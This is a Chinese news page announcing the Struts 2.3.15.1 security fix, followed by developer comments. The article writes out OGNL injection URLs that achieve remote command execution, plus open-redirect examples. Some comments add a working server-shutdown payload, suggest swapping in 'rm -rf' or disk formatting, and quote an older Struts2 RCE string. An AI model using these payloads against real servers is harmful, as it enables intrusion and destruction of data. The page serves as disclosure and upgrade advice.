阅读更多

39顶
4踩

企业架构
Apache Struts团队6月底发布了Struts 2.3.15版本,由于该版本被发现存在重要的安全漏洞,因此该团队今天发布了Struts 2.3.15.1安全更新版本。



该版本修复的主要安全漏洞如下:

1.  通过在参数前面加上“action:”/“redirect:”/“redirectAction:”前缀,以实现远程代码执行,如下:

http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}





2.  通过在参数前面加上“redirect:”/“redirectAction:”前缀,以实现开放式重定向,如下:

http://host/struts2-showcase/fileupload/upload.action?redirect:http://www.yahoo.com/

http://host/struts2-showcase/modelDriven/modelDriven.action?redirectAction:http://www.google.com/%23




详细漏洞信息:

建议开发者将所有Struts 2应用程序升级至最新版本。

如果你从其他分支迁移至2.3.x分支,需要注意,该分支最低要求Servlet API 2.4、JSP API 2.0和Java 5。

下载地址:http://struts.apache.org/
  • 大小: 8.7 KB
  • 大小: 51.3 KB
  • 大小: 107.5 KB
  • 大小: 101.3 KB
39
4
评论 共 59 条 请登录后发表评论
59 楼 HelloRong 2013-08-26 10:38
Null Nnll
58 楼 dongjinsuo 2013-08-21 16:20
   
57 楼 fhtwins 2013-08-16 14:39
这个漏洞比前几年的Struts2的远程执行任意代码的漏洞:
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

还要可怕!

我在公司内网小试了一下,所以Struts2技术开发的WEB项目,全挂!
56 楼 ysm274376500 2013-07-24 12:59
补充一下:
  上面并不是说只要过滤action、redirect等就行,只是举个例子,关键是要过滤ognl表达式的非法数据。
55 楼 ysm274376500 2013-07-24 12:32
这种漏洞,可以采用Interceptor过滤

String hacker=ServletActionContext.getRequest().getQueryString();
		String resultstr = "success";
		if(hacker.indexOf("action:%{")>-1||hacker.indexOf("redirect:%{")>-1||hacker.indexOf("redirectAction:%{")>-1){
			invocation.getInvocationContext().getValueStack().set(
					"message", "You are a hacker?");
			return Action.ERROR;
		}
54 楼 wnli350 2013-07-24 09:41
aly_boy 写道
从副主编到上面详细解释的人,都真没有职业精神。

你什么时候见安全组织发布一个高危漏洞,同时还很详细的说明怎么来利用这个漏洞,卖弄技巧,不顾可能带来的后果。

你以为编辑们很牛B么,都是从官网拷的
53 楼 leeleo 2013-07-24 09:37
kylix_xp 写道
struts2这种垃圾框架早该废除了

那你先搞一个比这个好的出来,而且是开源的框架~~真是无语~
52 楼 venus224 2013-07-24 08:31
kylix_xp 写道
struts2这种垃圾框架早该废除了

对你无语
51 楼 kylix_xp 2013-07-23 15:27
struts2这种垃圾框架早该废除了
50 楼 leifeng2 2013-07-23 13:03
http://localhost:8080/context/aa.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'Shutdown','-s','-t','1'})).start()}
系统架构:SSH,为什么我执行类似代码而没有反应?
49 楼 JianbinJava 2013-07-23 11:01
老闻了,,还新闻.
48 楼 bewithme 2013-07-23 10:51
gbwl_cgl 写道
venus224 写道
只有Struts 2.3.15版本会还是Struts 2.0的都会?

都会

没有吧,我在Struts2.1.8的版本上没试出问题
47 楼 diggywang 2013-07-22 15:59
sweat89 写道
SunZh 写道
问题很严重!仅供测试,不负责!
windows服务器关机命令:
http://localhost:8080/context/aa.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'Shutdown','-s','-t','1'})).start()}   就可以关机

我擦 还真的可以。。。。。linux环境下呢


Linux一样啊,把('Shutdown','-s','-t','1')改成linux下的命令就行了,如果app是root起来的,直接改成halt,关机!或者rm -rf ~/*,删除home目录下用户所有数据;如果是root,呃,你可以格式化掉整个硬盘...
46 楼 mlw2000 2013-07-22 12:37
qiaoenxin 写道
struts2自从引入了ognl漏洞从来就没有消停过。万恶的ognl。请求参数的解析完全可以废弃ognl。重写参数拦截器才是解决问题的王道。彻底解决安全问题

+1 说白了就是要求把参数set到每个action的属性里去,这个事有必要动用ognl吗,动用ognl,但ognl表达式可以执行任意java代码,这就是问题的根源。
45 楼 qiaoenxin 2013-07-22 11:23
struts2自从引入了ognl漏洞从来就没有消停过。万恶的ognl。请求参数的解析完全可以废弃ognl。重写参数拦截器才是解决问题的王道。彻底解决安全问题
44 楼 kingxip 2013-07-22 08:19
sushi0k 写道
我把原来的Struts2.1.8升级到Struts2.3.15.1的时候遇到了一下问题,找不到解决办法:

在原来的项目中删除的包有:
asm-commons-2.2.3.jar
Commons-fileupload-1.2.jar
Commons-io-1.3.2.jar
Commons-logging-1.0.4.jar
Ognl-2.7.3.jar
Struts2-core-2.1.8.jar
Struts2-json-plugin-2.1.8.jar
Struts2-junit-plugin-2.2.1.jar
Struts2-spring-plugin-2.2.1.jar
Xwork-core-2.1.6.jar

新加进来的包有:
Asm-3.3.jar
Asm-commons-3.3.jar
Commons-fileupload-1.3.jar
Commons-io-2.0.1.jar
Commons-lang-2.4.jar
Commons-lang3-3.1.jar
Commons-logging-1.1.3.jar
Javassist-3.11.0.GA.jar
Ognl-3.0.6.jar
Struts2-core-2.3.15.1.jar
Struts2-json-plugin-2.3.15.1.jar
Struts2-junit-plugin-2.3.15.1.jar
Struts2-spring-plugin-2.3.15.1.jar
Xwork-core-2.3.15.1.jar

项目正常运行。
--------------------------------------------------------
遇到的问题,这个问题在版本更新之前是没有的:
路径A能够正常访问:
http://192.168.0.87/wx/wxtest.html?keyword=asdasd

对路径A进行了urlrewrite配置,如下:
<rule>
    <from>/wx/wxtest/(.*).html?(.*)</from>
    <to type="redirect">/wx/wxtest.html?keyword=$1&amp;asd=$2</to> 
</rule>


访问地址B测试:
http://192.168.0.87/wx/wxtest/aaa.html?bbb

参数keyword=aaa
参数asd=null

问题分析:进行urlrewrite配置后,请求路径中?后面的数据被过滤掉使Action不能正常获取。
但是没进行urlrewrite配置的路径中?后面的参数整个正常传递到Action。

不知道是哪里的问题?





这么长的问题你应该发到问答去比较好。
43 楼 zhujintaozhu 2013-07-21 15:07
玩儿大发了,赶紧改吧!
42 楼 xianqi_h 2013-07-21 12:42
同意找出漏洞,互联网公司涉及struts2的应该注意了。
41 楼 sushi0k 2013-07-20 17:31
我把原来的Struts2.1.8升级到Struts2.3.15.1的时候遇到了一下问题,找不到解决办法:

在原来的项目中删除的包有:
asm-commons-2.2.3.jar
Commons-fileupload-1.2.jar
Commons-io-1.3.2.jar
Commons-logging-1.0.4.jar
Ognl-2.7.3.jar
Struts2-core-2.1.8.jar
Struts2-json-plugin-2.1.8.jar
Struts2-junit-plugin-2.2.1.jar
Struts2-spring-plugin-2.2.1.jar
Xwork-core-2.1.6.jar

新加进来的包有:
Asm-3.3.jar
Asm-commons-3.3.jar
Commons-fileupload-1.3.jar
Commons-io-2.0.1.jar
Commons-lang-2.4.jar
Commons-lang3-3.1.jar
Commons-logging-1.1.3.jar
Javassist-3.11.0.GA.jar
Ognl-3.0.6.jar
Struts2-core-2.3.15.1.jar
Struts2-json-plugin-2.3.15.1.jar
Struts2-junit-plugin-2.3.15.1.jar
Struts2-spring-plugin-2.3.15.1.jar
Xwork-core-2.3.15.1.jar

项目正常运行。
--------------------------------------------------------
遇到的问题,这个问题在版本更新之前是没有的:
路径A能够正常访问:
http://192.168.0.87/wx/wxtest.html?keyword=asdasd

对路径A进行了urlrewrite配置,如下:
<rule>
    <from>/wx/wxtest/(.*).html?(.*)</from>
    <to type="redirect">/wx/wxtest.html?keyword=$1&amp;asd=$2</to> 
</rule>


访问地址B测试:
http://192.168.0.87/wx/wxtest/aaa.html?bbb

参数keyword=aaa
参数asd=null

问题分析:进行urlrewrite配置后,请求路径中?后面的数据被过滤掉使Action不能正常获取。
但是没进行urlrewrite配置的路径中?后面的参数整个正常传递到Action。

不知道是哪里的问题?




40 楼 mlw2000 2013-07-19 18:01
wangxiang243 写道

真可以!!我擦
webwork2会有这样的bug吗?

既然struts 2.0有,那么webwork2也很难幸免。
问题分析见:http://www.inbreak.net/archives/507
在Iteye上的转帖(及额外备注):http://www.iteye.com/topic/1131358

发表评论

您还没有登录,请您登录后再发表评论

相关推荐

Global site tag (gtag.js) - Google Analytics